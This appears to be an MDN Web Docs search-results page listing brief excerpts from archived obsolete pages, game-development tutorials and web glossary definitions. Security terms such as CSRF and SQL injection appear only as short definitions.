rss elements a <author> (rss author element) b c <category> (rss category element) <channel> (rss channel element) <cloud> (rss cloud element) <comments> (rss comments element) <copyright> (rss copyright element) d <day> (rss day element) <description> (rss description element) <docs> (rss docs element) e <enclosure> (rss enclosure element) f g <generator> (rss generator element) <guid> (rss guid element) h <height> (rss height element) <hour> (rss hour element) i <image> (rss image element) <item> (rss item element) j k l <language> (rss language element) <lastbuilddate> (rss last build date element) <link> (rss link element) m <managingeditor> (rss managing editor element) n <name> (rss name element) o p <pubdate> (rss ...
.htaccess ( hypertext access ) - Archive of obsolete content
common application url redirects & rewrite: htaccess files are often used to redirect traffic to a web page to another or from traffic to a directory to another even between domains is possible.
Digital Signatures - Archive of obsolete content
link: red hat certificate system common criteria certification 8.1: deployment, planning, and installation ...
Create Your Own Firefox Background Theme - Archive of obsolete content
read more about the types of creative common licenses.
Theme changes in Firefox 4 - Archive of obsolete content
finally, you need to create a chrome.manifest file with the contents: skin browser classic/1.0 chrome/browser/ skin communicator classic/1.0 chrome/communicator/ skin global classic/1.0 chrome/global/ skin mozapps classic/1.0 chrome/mozapps/ this results in the following structure : /my_theme/chrome/browser/* /my_theme/chrome/communicator/* /my_theme/chrome/global/* /my_theme/chrome/mozapps/* /my_theme/chrome.manifest /my_theme/icon.png /my_theme/install.rdf /my_theme/preview.png note: for...
Themes - Archive of obsolete content
building a themecommon firefox theme issues and solutionscreating a skin for firefoxuuidcontents.rdfinstall.rdfmaking sure your theme works with rtl localestheme changes in firefox 2theme changes in firefox 3theme changes in firefox 3.5theme changes in firefox 4 ...
Developing cross-browser and cross-platform pages - Archive of obsolete content
browser identification approach (aka "browser sniffing"): not best, not reliable approach this approach, still commonly used nowadays, attempts to identify the browser and makes the web author at design time decide what that implies in terms of capabilities of the visiting browser.
-moz-stack-sizing - Archive of obsolete content
/* keyword values */ -moz-stack-sizing: auto; -moz-stack-sizing: ignore; /* global values */ -moz-stack-sizing: inherit; -moz-stack-sizing: initial; -moz-stack-sizing: unset; if you wish to prevent the stack from resizing automatically to accommodate its children, you can set -moz-stack-sizing to ignore on the child element.
-ms-content-zoom-snap-points - Archive of obsolete content
snaplist( <percentage># ) specifies the position of individual snap-points as a comma-separated list of percentages, each of which represents a zoom factor.
-ms-filter - Archive of obsolete content
use commas (,) to separate multiple values, as shown in the examples section.
-ms-scroll-snap-points-x - Archive of obsolete content
snaplist( <length-percentage># ) specifies the position of individual snap-points as a comma-separated list of values, each of which represents a zoom factor.
-ms-scroll-snap-points-y - Archive of obsolete content
snaplist( <length-percentage># ) specifies the position of individual snap-points as a comma-separated list of values, each of which represents a zoom factor.
E4X for templating - Archive of obsolete content
while it may be obvious after a study of the basics of e4x that it can be used for this purpose, if one adds a few common purpose functions (especially along with the convenience of javascript 1.8 expression closures), the templates can function more dynamically, offering the power and readability of templating languages such as smarty for php (though admittedly without the currently wider cross-browser support of xslt or the strictly-xml approach of phptal or seethrough templating).
Introduction - Archive of obsolete content
var element3 = <foo baz="1"/>; manipulating elements the goal of e4x was to provide an easier way for javascript programmers to manipulate an xml document, without going through the dom interfaces.
E4X Tutorial - Archive of obsolete content
with e4x, programmers can manipulate an xml document with a syntax more familiar to javascript programming.
Array.observe() - Archive of obsolete content
examples logging different change types var arr = ['a', 'b', 'c']; array.observe(arr, function(changes) { console.log(changes); }); arr[1] = 'b'; // [{type: 'update', object: <arr>, name: '1', oldvalue: 'b'}] arr[3] = 'd'; // [{type: 'splice', object: <arr>, index: 3, removed: [], addedcount: 1}] arr.splice(1, 2, 'beta', 'gamma', 'delta'); // [{type: 'splice', object: <arr>, index: 1, removed: ['b', 'c'], addedcount: 3}] specifications strawman proposal specification.
Array.unobserve() - Archive of obsolete content
examples unobserving an array var arr = [1, 2, 3]; var observer = function(changes) { console.log(changes); } array.observe(arr, observer); ​ arr.push(4); // [{type: "splice", object: <arr>, index: 3, removed:[], addedcount: 1}] array.unobserve(arr, observer); arr.pop(); // the callback wasn't called using an anonymous function var persons = ['khalid', 'ahmed', 'mohammed']; array.observe(persons, function (changes) { console.log(changes); }); persons.shift(); // [{type: "splice", object: <arr>, index: 0, removed: [ "khalid" ], addedcount: 0 }] array.unobserve(persons, function (changes) { console.log(changes); }); persons.push('abdullah'); // [{type: "splice", object: <arr>, index: 2, removed: [], addedcount: 1 }] // the callback will always be called ...
ArrayBuffer.transfer() - Archive of obsolete content
throw new typeerror('source must be an instance of arraybuffer'); if (length <= source.bytelength) return source.slice(0, length); var sourceview = new uint8array(source), destview = new uint8array(new arraybuffer(length)); destview.set(sourceview); return destview.buffer; }; } specifications specification status comment arraybuffer.prototype.transfer proposal draft stage 2 draft ...
New in JavaScript 1.1 - Archive of obsolete content
communication between java and javascript.
New in JavaScript 1.7 - Archive of obsolete content
in html or xul code, use: <script type="application/javascript;version=1.7"></script> when using the javascript shell, you need to set the version you wish to use using the -version 170 switch on the command line or using the version() function: version(170); the features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 because existing code might use those keywords as variable or function names.
New in JavaScript 1.8 - Archive of obsolete content
</script> another way (not recommended) to do this is to use the deprecated <script> language attribute and define it as "javascript1.8".
LiveConnect - Archive of obsolete content
java in firefox extensions community view mozilla.dev.tech.java forums...
JavaArray - Archive of obsolete content
summary core object a wrapped java array accessed from within javascript code is a member of the type javaarray.
JavaObject - Archive of obsolete content
summary core object the type of a wrapped java object accessed from within javascript code.
JavaPackage - Archive of obsolete content
summary core object a javascript reference to a java package.
Packages - Archive of obsolete content
summary a top-level object used to access java classes from within javascript code.
java - Archive of obsolete content
summary core object a top-level object used to access any java class in the package java.*.
netscape - Archive of obsolete content
summary core object a top-level object used to access any java class in the package netscape.*.
sun - Archive of obsolete content
summary core object a top-level object used to access any java class in the package sun.*.
MSX Emulator (jsMSX) - Archive of obsolete content
external links view the online demo (requires firefox 2+) jsmsx project see also drawing graphics with canvas canvas tutorial jsc64 the 100% javascript / canvas commodore 64 emulator ...
RDF: Resource Description Framework for metadata - Archive of obsolete content
ArchiveWebRDF
community view mozilla forums...
Window.importDialog() - Archive of obsolete content
summary because opening windows on mobile isn't necessarily appropriate, the firefox mobile team designed the importdialog() method to replace window.opendialog().
Building Mozilla XForms - Archive of obsolete content
$topsrcdir/browser/config/mozconfig mk_add_options moz_co_project=browser mk_add_options moz_objdir=@topsrcdir@/obj-@config_guess@ ac_add_options --enable-extensions="default,xforms" ac_add_options --enable-debug ac_add_options --disable-optimize ac_add_options --disable-tests building now that you have everything ready, you can rebuild mozilla with the same command you used before to build firefox without xforms.
XForms Alert Element - Archive of obsolete content
the alert element's message can also be displayed immediately after the containing form control element in the xforms document's layout.
XForms Label Element - Archive of obsolete content
attributes ui common accesskey - used to specify the keyboard shortcut for focusing the parent form control.
XForms Output Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding special value - xpath expression whose evaluation result is used as the output's value.
XForms Range Element - Archive of obsolete content
attributes ui common appearance - isn't supported.
XForms Secret Element - Archive of obsolete content
attributes ui common appearance - isn't supported.
XForms Select Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control.
XForms Select1 Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control.
XForms Submit Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control.
XForms Textarea Element - Archive of obsolete content
attributes ui common appearance - isn't supported.
XForms Trigger Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding type restrictions the trigger element can be bound to a node containing data of any type.
XForms Upload Element - Archive of obsolete content
attributes ui common appearance - isn't supported.
Using XForms and PHP - Archive of obsolete content
it is a very common error to read code with include(), or require(), functions, or another file access function, and have spaces or empty lines that are output before header() is called.
Correctly Using Titles With External Stylesheets - Archive of obsolete content
recommendations authors should make sure that any stylesheet which should always be applied is persistent instead of preferred.
Bounding volume collision detection with THREE.js - Game development
boxhelper is the recommended way to handle 3d collisions with bounding volumes in three.js.
Explaining basic 3D theory - Game development
vertex and fragment processing are programmable — you can write your own shaders that manipulate the output.
Building up a basic demo with Babylon.js - Game development
as with any other 3d library it provides built-in functions to help you implement common 3d functionality more quickly.
Building up a basic demo with PlayCanvas editor - Game development
summary now you can check the playcanvas engine article if you haven't seen it yet, go back to the building up a basic demo with playcanvas page, or go back a level higher to the main 3d games on the web page.
GLSL Shaders - Game development
applying the shaders to actually apply the newly created shaders to the cube, comment out the basicmaterial definition first: // var basicmaterial = new three.meshbasicmaterial({color: 0x0095dd}); then, create the shadermaterial: var shadermaterial = new three.shadermaterial( { vertexshader: document.getelementbyid( 'vertexshader' ).textcontent, fragmentshader: document.getelementbyid( 'fragmentshader' ).textcontent }); this shader material takes the code from the scrip...
WebVR — Virtual Reality for the Web - Game development
immersion is more important than gameplay or graphics - you have to feel you're "inside" the experience.
Async scripts for asm.js - Game development
two common situations in which a script is *not* async (as defined by the html spec) are: <script async>code</script> and var script = document.createelement('script'); script.innerhtml = "code"; document.body.appendchild(script); both are counted as 'inline' scripts and get compiled and then run immediately.
Desktop gamepad controls - Game development
summary that's it!
Desktop mouse and keyboard controls - Game development
summary ok, we've dealt with touch, keyboard and mouse controls.
Mobile touch controls - Game development
summary that covers adding touch controls for mobile; in the next article we'll see how to add keyboard and mouse support.
Implementing game control mechanisms - Game development
in this series of articles we will show you how you can approach building a game that can be played using touchscreen smartphones, mouse and keyboard, and also less common mechanisms such as gamepads.
Implementing controls using the Gamepad API - Game development
summary the gamepad api is very easy to develop with.
Square tilemaps implementation: Static maps - Game development
however, it's usually more common to represent the grid with a 1-dimensional array.
WebRTC data channels - Game development
the webrtc (web real-time communications) api is primarily known for its support for audio and video communications; however, it also offers peer-to-peer data channels.
Techniques for game development - Game development
using webrtc peer-to-peer data channels in addition to providing support for audio and video communication, webrtc lets you set up peer-to-peer data channels to exchange text or binary data actively between your players.
asm.js - Game development
asm.js language summary asm.js is an intermediate programming language.
Finishing up - Game development
s in the same place where we declared our other variables: var lives = 3; drawing the life counter looks almost the same as drawing the score counter — add the following function to your code, below the drawscore() function: function drawlives() { ctx.font = "16px arial"; ctx.fillstyle = "#0095dd"; ctx.filltext("lives: "+lives, canvas.width-65, 20); } instead of ending the game immediately, we will decrease the number of lives until they are no longer available.
Move the ball - Game development
cleaning up our code we will be adding more and more commands to the draw() function in the next few articles, so it's good to keep it as simple and clean as possible.
Buttons - Game development
to do that, adjust the update() function like so: function update() { game.physics.arcade.collide(ball, paddle, ballhitpaddle); game.physics.arcade.collide(ball, bricks, ballhitbrick); if(playing) { paddle.x = game.input.x || game.world.width*0.5; } } that way the paddle is immovable after everything is loaded and prepared, but before the start of the actual game.
Initialize the framework - Game development
choose an option that suits you best — i would recommend the min.js option as it keeps the source code smaller, and you are unlikely need to go through the source code anyway.
Load the assets and print them on screen - Game development
(note that the file name does not also have to be the same, but we'd recommend it, as it makes everything easier to follow.) of course, to load the image, it must be available in our code directory.
Physics - Game development
adding physics phaser is bundled with three different physics engines — arcade physics, p2 and ninja physics — with a fourth option, box2d, being available as a commercial plugin.
Randomizing gameplay - Game development
compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: summary you've finished all the lessons — congratulations!
2D breakout game using Phaser - Game development
after that, you can pick any framework you like and use it for your projects; we have chosen phaser as it is a good solid framework, with a good support and community available, and a good set of plugins.
Touch Event Horizon - Game development
this article is for touch event horizon and a game related to it touch gestures and events link the example game github repository live demo setting up the canvas counting the taps touchstart, touchend collecting the bonus touchmove future developments summary this tutorial shows how to use touch events to create a game on a <canvas>.
Game development
we've also included a reference section so you can easily find information about all the most common apis used in game development.
502 - MDN Web Docs Glossary: Definitions of Web-related terms
internet protocols are quite explicit, and so a 502 usually means that one or both machines were incorrectly or incompletely programmed.
Ajax - MDN Web Docs Glossary: Definitions of Web-related terms
ajax, which initially stood for asynchronous javascript and xml, is a programming practice of building complex, dynamic webpages using a technology known as xmlhttprequest.
Accessibility tree (AOM) - MDN Web Docs Glossary: Definitions of Web-related terms
think checked/unchecked for checkboxes, or collapsed/expanded for the <summary> element.
API - MDN Web Docs Glossary: Definitions of Web-related terms
an api (application programming interface) is a set of features and rules that exist inside a software program (the application) enabling interaction with it through software - as opposed to a human user interface.
Abstraction - MDN Web Docs Glossary: Definitions of Web-related terms
abstraction in computer programming is a way to reduce complexity and allow efficient design and implementation in complex software systems.
Accessibility - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge accessibility resources at mdn web accessibility on wikipedia learn web accessibility learn accessibility on mdn web accessibility in mind technical reference the aria documentation on mdn the web accessibility initiative homepage the wai-aria recommendation ...
BigInt - MDN Web Docs Glossary: Definitions of Web-related terms
in other programming languages different numeric types can exist, for examples: integers, floats, doubles, or bignums.
Block (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
underneath the preceding element in a horizontal writing mode, and above the following element (commonly known as a block-level element).
Block - MDN Web Docs Glossary: Definitions of Web-related terms
underneath the preceding element in a horizontal writing mode, and above the following element (commonly known as a block-level element).
Block cipher mode of operation - MDN Web Docs Glossary: Definitions of Web-related terms
most symmetric-key algorithms currently in use are block ciphers: this means that they encrypt data a block at a time.
Browsing context - MDN Web Docs Glossary: Definitions of Web-related terms
communication between browsing context is severaly constrained.
CRLF - MDN Web Docs Glossary: Definitions of Web-related terms
a cr immediately followed by a lf (crlf, \r\n, or 0x0d0a) moves the cursor down to the next line and then to the beginning of the line.
CSRF - MDN Web Docs Glossary: Definitions of Web-related terms
csrf (cross-site request forgery) is an attack that impersonates a trusted user and sends a website unwanted commands.
Call stack - MDN Web Docs Glossary: Definitions of Web-related terms
call stack list: empty in summary, then, we start with an empty call stack.
Callback function - MDN Web Docs Glossary: Definitions of Web-related terms
here is a quick example: function greeting(name) { alert('hello ' + name); } function processuserinput(callback) { var name = prompt('please enter your name.'); callback(name); } processuserinput(greeting); the above example is a synchronous callback, as it is executed immediately.
Code splitting - MDN Web Docs Glossary: Definitions of Web-related terms
then features required at page load can be downloaded immediately with additional scripts being lazy loaded after the page or application is interactive, thus improving performance.
Compile - MDN Web Docs Glossary: Definitions of Web-related terms
as a programmer, you usually invoke aot compilers from a command line or your ide.
Continuous Media - MDN Web Docs Glossary: Definitions of Web-related terms
the most common examples of continuous media are audio and motion video.
Copyleft - MDN Web Docs Glossary: Definitions of Web-related terms
examples of copyleft licenses are the gnu gpl (for software) and the creative commons sa (share alike) licenses (for works of art).
Cross-site scripting - MDN Web Docs Glossary: Definitions of Web-related terms
according to the open web application security project, xss was the seventh most common web app vulnerability in 2017.
DOM (Document Object Model) - MDN Web Docs Glossary: Definitions of Web-related terms
an element, text string, or comment).
DTMF (Dual-Tone Multi-Frequency signaling) - MDN Web Docs Glossary: Definitions of Web-related terms
computers may make use of dtmf when dialing a modem, or when sending commands to a menu system for teleconferencing or other purposes.
ECMA - MDN Web Docs Glossary: Definitions of Web-related terms
ecma international (formally european computer manufacturers association) is a non-profit organization that develops standards in computer hardware, communications, and programming languages.
Exception - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript syntax errors are a very common source of exceptions.
First-class Function - MDN Web Docs Glossary: Definitions of Web-related terms
a programming language is said to have first-class functions when functions in that language are treated like any other variable.
First interactive - MDN Web Docs Glossary: Definitions of Web-related terms
these metrics have been proposed by the web incubator community group and are already being used in various tools.
Flexbox - MDN Web Docs Glossary: Definitions of Web-related terms
flexbox is the commonly-used name for the css flexible box layout module, a layout model for displaying items in a single dimension — as a row or as a column.
Forbidden header name - MDN Web Docs Glossary: Definitions of Web-related terms
a forbidden header name is the name of any http header that cannot be modified programmatically; specifically, an http request header name (in contrast with a forbidden response header name).
Gzip compression - MDN Web Docs Glossary: Definitions of Web-related terms
gzip is commonly supported by web servers and modern browsers, meaning that servers can automatically compress files with gzip before sending them, and browsers can uncompress files upon receiving them.
Garbage collection - MDN Web Docs Glossary: Definitions of Web-related terms
garbage collection is a term used in computer programming to describe the process of finding and deleting objects which are no longer being referenced by other objects.
General header - MDN Web Docs Glossary: Definitions of Web-related terms
the most common general headers are date, cache-control or connection.
Git - MDN Web Docs Glossary: Definitions of Web-related terms
what sets it apart from previous scm systems is the ability to do common operations (branching, committing, etc.) on your local development machine, without having to change the master repository or even having write access to it.
Global scope - MDN Web Docs Glossary: Definitions of Web-related terms
in a programming environment, the global scope is the scope that contains, and is visible in, all other scopes.
Gonk - MDN Web Docs Glossary: Definitions of Web-related terms
the kernel and several of the userspace libraries are common open-source projects: linux, libusb, bluez, and so forth.
Graceful degradation - MDN Web Docs Glossary: Definitions of Web-related terms
some good examples can be found in handling common html and css problems.
Guard - MDN Web Docs Glossary: Definitions of Web-related terms
for example, immutable guard means that headers can't be changed.
HTML - MDN Web Docs Glossary: Definitions of Web-related terms
in 1996, the w3c took over the html work and published the html 3.2 recommendation a year later.
HTTP - MDN Web Docs Glossary: Definitions of Web-related terms
http is textual (all communication is done in plain text) and stateless (no communication is aware of previous communications).
HTTP header - MDN Web Docs Glossary: Definitions of Web-related terms
headers are case-insensitive, begins at the start of a line and are immediately followed by a ':' and a value depending of the header itself.
IDE - MDN Web Docs Glossary: Definitions of Web-related terms
an integrated development environment (ide) or interactive development environment is a software application that provides comprehensive facilities to computer programmers for software development.
IDL - MDN Web Docs Glossary: Definitions of Web-related terms
an idl (interface description language) is a generic language used to specified objects' interfaces apart from any specific programming language.
IPv4 - MDN Web Docs Glossary: Definitions of Web-related terms
ipv4 is the fourth version of the communication protocol underlying the internet and the first version to be widely deployed.
IPv6 - MDN Web Docs Glossary: Definitions of Web-related terms
ipv6 is the current version of the communication protocol underlying the internet.
ISP - MDN Web Docs Glossary: Definitions of Web-related terms
an isp (internet service provider) sells internet access, and sometimes email, web hosting, and voice over ip, either by a dial-up connection over a phone line (formerly more common), or through a broadband connection such as a cable modem or dsl service.
ITU - MDN Web Docs Glossary: Definitions of Web-related terms
the international telecommunication union (itu) is the organization authorized by the united nations to establish standards and rules for telecommunication, including telegraph, radio, telephony and the internet.
Idempotent - MDN Web Docs Glossary: Definitions of Web-related terms
technical knowledge description of common idempotent methods: get, head, put, delete, options, trace description of common non-idempotent methods: post,patch, connect ...
Inheritance - MDN Web Docs Glossary: Definitions of Web-related terms
inheritance is a major feature of object-oriented programming.
JSON - MDN Web Docs Glossary: Definitions of Web-related terms
though many programming languages support json, json is especially useful for javascript-based apps, including websites and browser extensions.
Java - MDN Web Docs Glossary: Definitions of Web-related terms
java is a compiled, object-oriented, highly portable programming language.
Key - MDN Web Docs Glossary: Definitions of Web-related terms
in symmetric-key cryptography, the same key is used for both encryption and decryption.
Latency - MDN Web Docs Glossary: Definitions of Web-related terms
latency can be a factor in any kind of data flow, but is most commonly discussed in terms of network latency (the time it takes for a packet of data to travel from source to destination) and media codec latency (the time it takes for the source data to be encoded or decoded and reach the consumer of the resulting data).
Localization - MDN Web Docs Glossary: Definitions of Web-related terms
the following are common factors to consider: language unit of measure (e.g., kilometers in europe, miles in u.s.) text direction (e.g., european languages are left-to-right, arabic right-to-left) capitalization in latin script (e.g., english uses capitals for weekdays, spanish uses lowercase) adaptation of idioms (e.g., "raining cats and dogs" makes no sense when translated literally) use of register (e.g., in japanese respectful speech differs exceptionally from casual speech) number format (e.g., 10 000,00 in germany vs.
Long task - MDN Web Docs Glossary: Definitions of Web-related terms
common examples include long running event handlers, expensive reflows and other re-renders, and work the browser does between different turns of the event loop that exceeds 50 ms.
MathML - MDN Web Docs Glossary: Definitions of Web-related terms
in 1998 the w3c first recommended mathml for representing mathematical expressions in the browser.
Metadata - MDN Web Docs Glossary: Definitions of Web-related terms
for example, an html document is data, but html can also contain metadata in its <head> element that describes the document — for example who wrote it, and its summary.
Method - MDN Web Docs Glossary: Definitions of Web-related terms
learn more learn about it method (computer programming) in wikipedia defining a method in javascript (comparison of the traditional syntax and the new shorthand) technical reference list of javascript built-in methods ...
Netscape Navigator - MDN Web Docs Glossary: Definitions of Web-related terms
netscape was based on mosaic and the netscape team was led by marc andreessen, a programmer who also wrote code for mosaic.
Node (DOM) - MDN Web Docs Glossary: Definitions of Web-related terms
GlossaryNodeDOM
various things that are nodes are the document itself, elements, text, and comments.
Node - MDN Web Docs Glossary: Definitions of Web-related terms
various things that are nodes are the document itself, elements, text, and comments.
Normative - MDN Web Docs Glossary: Definitions of Web-related terms
normative is a word commonly used in software specifications to denote sections that are standardized and must be followed as a rule.
Number - MDN Web Docs Glossary: Definitions of Web-related terms
in other programming languages different numeric types exist; for example, integers, floats, doubles, or bignums.
OTA - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge over-the-air programming on wikipedia creating and applying firefox os update packages ...
OpenGL - MDN Web Docs Glossary: Definitions of Web-related terms
opengl (open graphics library) is a cross-language, multi-platform application programming interface (api) for rendering 2d and 3d vector graphics.
Operator - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge operator (computer programming) on wikipedia technical reference javascript operators ...
P2P - MDN Web Docs Glossary: Definitions of Web-related terms
p2p is commonly found in blockchain applications.
POP3 - MDN Web Docs Glossary: Definitions of Web-related terms
pop3 (post office protocol) is a very common protocol for getting emails from a mail server over a tcp connection.
Perceived performance - MDN Web Docs Glossary: Definitions of Web-related terms
speed index is a common metric for measuring perceived performance, though it's not perfect.
Placeholder names - MDN Web Docs Glossary: Definitions of Web-related terms
placeholder names are commonly used in cryptography to indicate the participants in a conversation, without resorting to terminology such as "party a," "eavesdropper," and "malicious attacker." the most commonly used names are: alice and bob, two parties who want to send messages to each other, occasionally joined by carol, a third participant eve, a passive attacker who is eavesdropping on alice and bob's conversation mallory, an active attacker ("man-in-the-middle") who is able to modify their conversation and replay old messages ...
Port - MDN Web Docs Glossary: Definitions of Web-related terms
for a computer connected to a network with an ip address, a port is a communication endpoint.
Progressive web apps - MDN Web Docs Glossary: Definitions of Web-related terms
this involves taking standard web sites/apps that enjoy all the best parts of the web — such as discoverability via search engines, being linkable via urls, and working across multiple form factors — and supercharging them with modern apis (such as service workers and push) and features that confer other benefits more commonly attributed to native apps.
RAIL - MDN Web Docs Glossary: Definitions of Web-related terms
in acronym order, the main tenets are: response respond to users immediately, acknowledging any user input in 100ms or less.
RIL - MDN Web Docs Glossary: Definitions of Web-related terms
ril (radio interface layer) is a mobile operating system component which communicates between the device's software and the device's phone, radio, or modem hardware.
RTF - MDN Web Docs Glossary: Definitions of Web-related terms
three programmers in the microsoft word team created rtf in the 1980s, and microsoft continued to develop the format until 2008.
Raster image - MDN Web Docs Glossary: Definitions of Web-related terms
common raster image formats on the web are jpeg, png, gif, and ico.
Responsive web design - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge summary and resources pros and cons of going responsive responsive web design ...
Round Trip Time (RTT) - MDN Web Docs Glossary: Definitions of Web-related terms
the rtt between a network and server can be determined by using the ping command.
Ruby - MDN Web Docs Glossary: Definitions of Web-related terms
ruby is an open-source programming language.
SCM - MDN Web Docs Glossary: Definitions of Web-related terms
a programmer can modify source code files without being afraid of editing out useful stuff, because a scm keeps track of how the source code has changed and who made the changes.
SEO - MDN Web Docs Glossary: Definitions of Web-related terms
if you follow those rules closely when doing seo for a website, you give the site the best chances of showing up among the first results, increasing traffic and possibly revenue (for ecommerce and ads).
SLD - MDN Web Docs Glossary: Definitions of Web-related terms
for example, www is a commonly used subdomain to indicate the domain points to a web server.
SQL Injection - MDN Web Docs Glossary: Definitions of Web-related terms
hackers can maliciously pass sql commands through the web app for execution by a backend database.
SVN - MDN Web Docs Glossary: Definitions of Web-related terms
although svn can also handle binary files, we do not recommend that you use it for such files.
Screen reader - MDN Web Docs Glossary: Definitions of Web-related terms
you can also toggle voiceover on and off with fn+command + f5.
Search engine - MDN Web Docs Glossary: Definitions of Web-related terms
searching: looking for relevant web pages based on queries consisting of key words and other commands to the search engine.
Second-level Domain - MDN Web Docs Glossary: Definitions of Web-related terms
for example, www is a commonly used subdomain to indicate the domain points to a web server.
Self-Executing Anonymous Function - MDN Web Docs Glossary: Definitions of Web-related terms
also known as an iife (immediately invoked function expression).
Server Timing - MDN Web Docs Glossary: Definitions of Web-related terms
the server timing specification enables the server to communicate performance metrics from the request-response cycle to the user agent, and utilizes a javascript interface to allow applications to collect, process, and act on these metrics to optimize application delivery.
Session Hijacking - MDN Web Docs Glossary: Definitions of Web-related terms
protection against session hijacking create a secure communication channel with ssh (secure shell) pass authentication cookies over https connection implement logout functionality so the user can end the session generate the session id after successful login pass encrypted data between the users and the web server use a string or long random number as a session key learn more general knowledge session hijacking on wikipedia ...
Site - MDN Web Docs Glossary: Definitions of Web-related terms
e the registrable domain of mozilla.org is the same http://example.com:8080 https://example.com same site because scheme and port are not relevant examples of different site https://developer.mozilla.org/docs/ https://example.com not same site because the registrable domain of the two urls differs specifications specification status comment url living standard initial definition ...
Statement - MDN Web Docs Glossary: Definitions of Web-related terms
in a computer programming language, a statement is a line of code commanding a task.
Static typing - MDN Web Docs Glossary: Definitions of Web-related terms
in most of these languages, types must be expressly indicated by the programmer; in other cases (such as ocaml), type inference allows the programmer to not indicate their variable types.
String - MDN Web Docs Glossary: Definitions of Web-related terms
in any computer programming language, a string is a sequence of characters used to represent text.
TCP handshake - MDN Web Docs Glossary: Definitions of Web-related terms
tcp (transmission control protocol) is a transport layer host-to-host protocol for connection-oriented communication between two computers on an ip network.
Telnet - MDN Web Docs Glossary: Definitions of Web-related terms
telnet is a command line tool and an underlying tcp/ip protocol for accessing remote computers.
Time to interactive - MDN Web Docs Glossary: Definitions of Web-related terms
tti, proposed by the web incubator community group in 2018, is intended to provide a metric that describes when a page or application contains useful content and the main thread is idle and free to respond to user interactions, including having event handlers registered.
Transmission Control Protocol (TCP) - MDN Web Docs Glossary: Definitions of Web-related terms
tcp (transmission control protocol) is a transport layer host-to-host protocol for connection-oriented communication between two computers on an ip network.
Tree shaking - MDN Web Docs Glossary: Definitions of Web-related terms
tree shaking is a term commonly used within a javascript context to describe the removal of dead code.
UDP (User Datagram Protocol) - MDN Web Docs Glossary: Definitions of Web-related terms
udp uses a simple connectionless communication model with a minimum of protocol mechanism.
UI - MDN Web Docs Glossary: Definitions of Web-related terms
in case of computer software, it can be a command-line prompt, a webpage, a user input form, or the front-end of any application.
URI - MDN Web Docs Glossary: Definitions of Web-related terms
the most common are urls, which identify the resource by giving its location on the web.
UTF-8 - MDN Web Docs Glossary: Definitions of Web-related terms
utf-8 (ucs transformation format 8) is the world wide web's most common character encoding.
UX - MDN Web Docs Glossary: Definitions of Web-related terms
ux studies undertaken on a web page for example can demonstrate whether it is easy for users to understand the page, navigate to different areas, and complete common tasks, and where such processes could have less friction.
VoIP - MDN Web Docs Glossary: Definitions of Web-related terms
common voip packages include skype, msn messenger, yahoo and many more.
W3C - MDN Web Docs Glossary: Definitions of Web-related terms
each standard passes through four stages of maturity: working draft (wd), candidate recommendation (cr), proposed recommendation (pr), and w3c recommendation (rec).
WHATWG - MDN Web Docs Glossary: Definitions of Web-related terms
the whatwg (web hypertext application technology working group) is a community that maintains and develops web standards, including dom, fetch, and html.
WebAssembly - MDN Web Docs Glossary: Definitions of Web-related terms
wasm) is an open binary programming format that can be run in modern web browsers in order to gain performance and/or provide new features for web pages.
WebDAV - MDN Web Docs Glossary: Definitions of Web-related terms
webdav is rarely used alone, but two extensions are very common: caldav (remote-access calendar) and carddav (remote-access address book).
WebRTC - MDN Web Docs Glossary: Definitions of Web-related terms
webrtc (web real-time communication) is an api that can be used by video-chat, voice-calling, and p2p-file-sharing web apps.
Web server - MDN Web Docs Glossary: Definitions of Web-related terms
a server, on the other hand, is a piece of hardware that lives in a room full of computers, commonly known as a data center.
Wrapper - MDN Web Docs Glossary: Definitions of Web-related terms
in programming languages such as javascript, a wrapper is a function that is intended to call one or more other functions, sometimes purely for convenience, and sometimes adapting them to do a slightly different task in the process.
XHR (XMLHttpRequest) - MDN Web Docs Glossary: Definitions of Web-related terms
asynchronous communications technical information the xmlhttprequest object.
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
xml inclusions (xinclude) is a w3c recommendation to allow inclusion of xml more different sources in a more convenient fashion than xml external entities.
beacon - MDN Web Docs Glossary: Definitions of Web-related terms
a web beacon is a small object, such as a 1 pixel gif, embedded in markup, used to communicate information back to the web server or to 3rd party servers.
Character - MDN Web Docs Glossary: Definitions of Web-related terms
utf-8 is the most common character set and includes the graphemes of the most popular human languages.
Hash - MDN Web Docs Glossary: Definitions of Web-related terms
it is commonly in the form of a 128-bit "fingerprint" or "message digest".
HTTPS - MDN Web Docs Glossary: Definitions of Web-related terms
it uses ssl or tls to encrypt all communication between a client and a server.
JPEG - MDN Web Docs Glossary: Definitions of Web-related terms
jpeg (joint photographic experts group) is a commonly used method of lossy compression for digital images.
Loop - MDN Web Docs Glossary: Definitions of Web-related terms
a loop is a sequence of instructions that is continually repeated until a certain condition is met in computer programming.
LTR (Left To Right) - MDN Web Docs Glossary: Definitions of Web-related terms
the opposite of ltr, rtl (right to left) is used in other common languages, including arabic (ar) and hebrew (he).
minification - MDN Web Docs Glossary: Definitions of Web-related terms
minification can include the removal of code comments, white space, and unused code, as well as the shortening of variable and function names.
Origin - MDN Web Docs Glossary: Definitions of Web-related terms
http content through port 80 by default examples of different origin http://example.com/app1 https://example.com/app2 different schemes http://example.com http://www.example.com http://myapp.example.com different hosts http://example.com http://example.com:8080 different ports specifications specification status comment html living standardthe definition of 'origin' in that specification.
Property (JavaScript) - MDN Web Docs Glossary: Definitions of Web-related terms
